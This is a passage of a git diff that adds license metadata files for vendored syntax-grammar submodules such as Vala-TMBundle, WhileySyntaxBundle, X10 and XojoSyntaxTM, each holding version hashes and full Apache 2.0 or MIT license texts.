+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright 2012-2014 Ben Peters
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/Vala-TMBundle.dep.yml b/vendor/licenses/git_submodule/Vala-TMBundle.dep.yml
new file mode 100644
index 0000000000..1baf2a1d57
--- /dev/null
+++ b/vendor/licenses/git_submodule/Vala-TMBundle.dep.yml
@@ -0,0 +1,29 @@
+---
+name: Vala-TMBundle
+version: 935bd21c13068158435f64b3dbd8423c8d812c92
+type: git_submodule
+homepage: https://github.com/technosophos/Vala-TMBundle
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    Copyright (C) 2014 Matt Butcher
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/VscodeAdblockSyntax.dep.yml b/vendor/licenses/git_submodule/VscodeAdblockSyntax.dep.yml
new file mode 100644
index 0000000000..aca6623fb5
--- /dev/null
+++ b/vendor/licenses/git_submodule/VscodeAdblockSyntax.dep.yml
@@ -0,0 +1,34 @@
+---
+name: VscodeAdblockSyntax
+version: 732a6739a057e6ffef0256dd165661f7eb62b31f
+type: git_submodule
+homepage: https://github.com/AdguardTeam/VscodeAdblockSyntax.git
+license: mit
+licenses:
+- sources: LICENSE.md
+  text: |-
+    MIT License
+
+    Copyright (c) 2017 Adguard Software Ltd.
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+- sources: README.md
+  text: This extension is licensed under the MIT License. See the [LICENSE][license]
+    file for details.
+notices: []
diff --git a/vendor/licenses/git_submodule/WhileySyntaxBundle.dep.yml b/vendor/licenses/git_submodule/WhileySyntaxBundle.dep.yml
new file mode 100644
index 0000000000..77e483c4d2
--- /dev/null
+++ b/vendor/licenses/git_submodule/WhileySyntaxBundle.dep.yml
@@ -0,0 +1,211 @@
+---
+name: WhileySyntaxBundle
+version: 2dd042aa33069784e741bba943e8697ea358d449
+type: git_submodule
+homepage: https://github.com/Whiley/WhileySyntaxBundle.git
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [yyyy] [name of copyright owner]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/X10.dep.yml b/vendor/licenses/git_submodule/X10.dep.yml
new file mode 100644
index 0000000000..bf3fb89d1d
--- /dev/null
+++ b/vendor/licenses/git_submodule/X10.dep.yml
@@ -0,0 +1,212 @@
+---
+type: git_submodule
+name: X10
+version: 2bae6e77fabcdceff753823477390c37305ca76c
+license: apache-2.0
+licenses:
+- text: |-
+    Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "{}"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright {yyyy} {name of copyright owner}
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+
+
+    (C) Copyright IBM Corporation 2006-2015.
+notices: []
diff --git a/vendor/licenses/git_submodule/XojoSyntaxTM.dep.yml b/vendor/licenses/git_submodule/XojoSyntaxTM.dep.yml
new file mode 100644
index 0000000000..97d73c5573
--- /dev/null
+++ b/vendor/licenses/git_submodule/XojoSyntaxTM.dep.yml
@@ -0,0 +1,211 @@
+---
+name: XojoSyntaxTM
+version: 3497e2443b5763353e63a32deed727f6d710f073
+type: git_submodule
+homepage: https://github.com/jimmckay/XojoSyntaxTM
+license: apache-2.0
+licenses:
+- sources: LICENSE
+  text: |2
+                                     Apache License
+                               Version 2.0, January 2004
+                            http://www.apache.org/licenses/
+
+       TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
+
+       1. Definitions.
+
+          "License" shall mean the terms and conditions for use, reproduction,
+          and distribution as defined by Sections 1 through 9 of this document.
+
+          "Licensor" shall mean the copyright owner or entity authorized by
+          the copyright owner that is granting the License.
+
+          "Legal Entity" shall mean the union of the acting entity and all
+          other entities that control, are controlled by, or are under common
+          control with that entity. For the purposes of this definition,
+          "control" means (i) the power, direct or indirect, to cause the
+          direction or management of such entity, whether by contract or
+          otherwise, or (ii) ownership of fifty percent (50%) or more of the
+          outstanding shares, or (iii) beneficial ownership of such entity.
+
+          "You" (or "Your") shall mean an individual or Legal Entity
+          exercising permissions granted by this License.
+
+          "Source" form shall mean the preferred form for making modifications,
+          including but not limited to software source code, documentation
+          source, and configuration files.
+
+          "Object" form shall mean any form resulting from mechanical
+          transformation or translation of a Source form, including but
+          not limited to compiled object code, generated documentation,
+          and conversions to other media types.
+
+          "Work" shall mean the work of authorship, whether in Source or
+          Object form, made available under the License, as indicated by a
+          copyright notice that is included in or attached to the work
+          (an example is provided in the Appendix below).
+
+          "Derivative Works" shall mean any work, whether in Source or Object
+          form, that is based on (or derived from) the Work and for which the
+          editorial revisions, annotations, elaborations, or other modifications
+          represent, as a whole, an original work of authorship. For the purposes
+          of this License, Derivative Works shall not include works that remain
+          separable from, or merely link (or bind by name) to the interfaces of,
+          the Work and Derivative Works thereof.
+
+          "Contribution" shall mean any work of authorship, including
+          the original version of the Work and any modifications or additions
+          to that Work or Derivative Works thereof, that is intentionally
+          submitted to Licensor for inclusion in the Work by the copyright owner
+          or by an individual or Legal Entity authorized to submit on behalf of
+          the copyright owner. For the purposes of this definition, "submitted"
+          means any form of electronic, verbal, or written communication sent
+          to the Licensor or its representatives, including but not limited to
+          communication on electronic mailing lists, source code control systems,
+          and issue tracking systems that are managed by, or on behalf of, the
+          Licensor for the purpose of discussing and improving the Work, but
+          excluding communication that is conspicuously marked or otherwise
+          designated in writing by the copyright owner as "Not a Contribution."
+
+          "Contributor" shall mean Licensor and any individual or Legal Entity
+          on behalf of whom a Contribution has been received by Licensor and
+          subsequently incorporated within the Work.
+
+       2. Grant of Copyright License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          copyright license to reproduce, prepare Derivative Works of,
+          publicly display, publicly perform, sublicense, and distribute the
+          Work and such Derivative Works in Source or Object form.
+
+       3. Grant of Patent License. Subject to the terms and conditions of
+          this License, each Contributor hereby grants to You a perpetual,
+          worldwide, non-exclusive, no-charge, royalty-free, irrevocable
+          (except as stated in this section) patent license to make, have made,
+          use, offer to sell, sell, import, and otherwise transfer the Work,
+          where such license applies only to those patent claims licensable
+          by such Contributor that are necessarily infringed by their
+          Contribution(s) alone or by combination of their Contribution(s)
+          with the Work to which such Contribution(s) was submitted. If You
+          institute patent litigation against any entity (including a
+          cross-claim or counterclaim in a lawsuit) alleging that the Work
+          or a Contribution incorporated within the Work constitutes direct
+          or contributory patent infringement, then any patent licenses
+          granted to You under this License for that Work shall terminate
+          as of the date such litigation is filed.
+
+       4. Redistribution. You may reproduce and distribute copies of the
+          Work or Derivative Works thereof in any medium, with or without
+          modifications, and in Source or Object form, provided that You
+          meet the following conditions:
+
+          (a) You must give any other recipients of the Work or
+              Derivative Works a copy of this License; and
+
+          (b) You must cause any modified files to carry prominent notices
+              stating that You changed the files; and
+
+          (c) You must retain, in the Source form of any Derivative Works
+              that You distribute, all copyright, patent, trademark, and
+              attribution notices from the Source form of the Work,
+              excluding those notices that do not pertain to any part of
+              the Derivative Works; and
+
+          (d) If the Work includes a "NOTICE" text file as part of its
+              distribution, then any Derivative Works that You distribute must
+              include a readable copy of the attribution notices contained
+              within such NOTICE file, excluding those notices that do not
+              pertain to any part of the Derivative Works, in at least one
+              of the following places: within a NOTICE text file distributed
+              as part of the Derivative Works; within the Source form or
+              documentation, if provided along with the Derivative Works; or,
+              within a display generated by the Derivative Works, if and
+              wherever such third-party notices normally appear. The contents
+              of the NOTICE file are for informational purposes only and
+              do not modify the License. You may add Your own attribution
+              notices within Derivative Works that You distribute, alongside
+              or as an addendum to the NOTICE text from the Work, provided
+              that such additional attribution notices cannot be construed
+              as modifying the License.
+
+          You may add Your own copyright statement to Your modifications and
+          may provide additional or different license terms and conditions
+          for use, reproduction, or distribution of Your modifications, or
+          for any such Derivative Works as a whole, provided Your use,
+          reproduction, and distribution of the Work otherwise complies with
+          the conditions stated in this License.
+
+       5. Submission of Contributions. Unless You explicitly state otherwise,
+          any Contribution intentionally submitted for inclusion in the Work
+          by You to the Licensor shall be under the terms and conditions of
+          this License, without any additional terms or conditions.
+          Notwithstanding the above, nothing herein shall supersede or modify
+          the terms of any separate license agreement you may have executed
+          with Licensor regarding such Contributions.
+
+       6. Trademarks. This License does not grant permission to use the trade
+          names, trademarks, service marks, or product names of the Licensor,
+          except as required for reasonable and customary use in describing the
+          origin of the Work and reproducing the content of the NOTICE file.
+
+       7. Disclaimer of Warranty. Unless required by applicable law or
+          agreed to in writing, Licensor provides the Work (and each
+          Contributor provides its Contributions) on an "AS IS" BASIS,
+          WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
+          implied, including, without limitation, any warranties or conditions
+          of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
+          PARTICULAR PURPOSE. You are solely responsible for determining the
+          appropriateness of using or redistributing the Work and assume any
+          risks associated with Your exercise of permissions under this License.
+
+       8. Limitation of Liability. In no event and under no legal theory,
+          whether in tort (including negligence), contract, or otherwise,
+          unless required by applicable law (such as deliberate and grossly
+          negligent acts) or agreed to in writing, shall any Contributor be
+          liable to You for damages, including any direct, indirect, special,
+          incidental, or consequential damages of any character arising as a
+          result of this License or out of the use or inability to use the
+          Work (including but not limited to damages for loss of goodwill,
+          work stoppage, computer failure or malfunction, or any and all
+          other commercial damages or losses), even if such Contributor
+          has been advised of the possibility of such damages.
+
+       9. Accepting Warranty or Additional Liability. While redistributing
+          the Work or Derivative Works thereof, You may choose to offer,
+          and charge a fee for, acceptance of support, warranty, indemnity,
+          or other liability obligations and/or rights consistent with this
+          License. However, in accepting such obligations, You may act only
+          on Your own behalf and on Your sole responsibility, not on behalf
+          of any other Contributor, and only if You agree to indemnify,
+          defend, and hold each Contributor harmless for any liability
+          incurred by, or claims asserted against, such Contributor by reason
+          of your accepting any such warranty or additional liability.
+
+       END OF TERMS AND CONDITIONS
+
+       APPENDIX: How to apply the Apache License to your work.
+
+          To apply the Apache License to your work, attach the following
+          boilerplate notice, with the fields enclosed by brackets "[]"
+          replaced with your own identifying information. (Don't include
+          the brackets!)  The text should be enclosed in the appropriate
+          comment syntax for the file format. We also recommend that a
+          file or class name and description of purpose be included on the
+          same "printed page" as the copyright notice for easier
+          identification within third-party archives.
+
+       Copyright [2019] [Jim McKay]
+
+       Licensed under the Apache License, Version 2.0 (the "License");
+       you may not use this file except in compliance with the License.
+       You may obtain a copy of the License at
+
+           http://www.apache.org/licenses/LICENSE-2.0
+
+       Unless required by applicable law or agreed to in writing, software
+       distributed under the License is distributed on an "AS IS" BASIS,
+       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+       See the License for the specific language governing permissions and
+       limitations under the License.
+notices: []
diff --git a/vendor/licenses/git_submodule/ZenScript-tmLanguage.dep.yml b/vendor/licenses/git_submodule/ZenScript-tmLanguage.dep.yml
new file mode 100644
index 0000000000..5e4bf6df9e
--- /dev/null
+++ b/vendor/licenses/git_submodule/ZenScript-tmLanguage.dep.yml
@@ -0,0 +1,31 @@
+---
+name: ZenScript-tmLanguage
+version: 5a7bcb775a6fb37470e56f904e70d8b8b9e6b047
+type: git_submodule
+homepage: https://github.com/CraftTweaker/ZenScript-tmLanguage
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (c) 2019 CraftTweaker
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
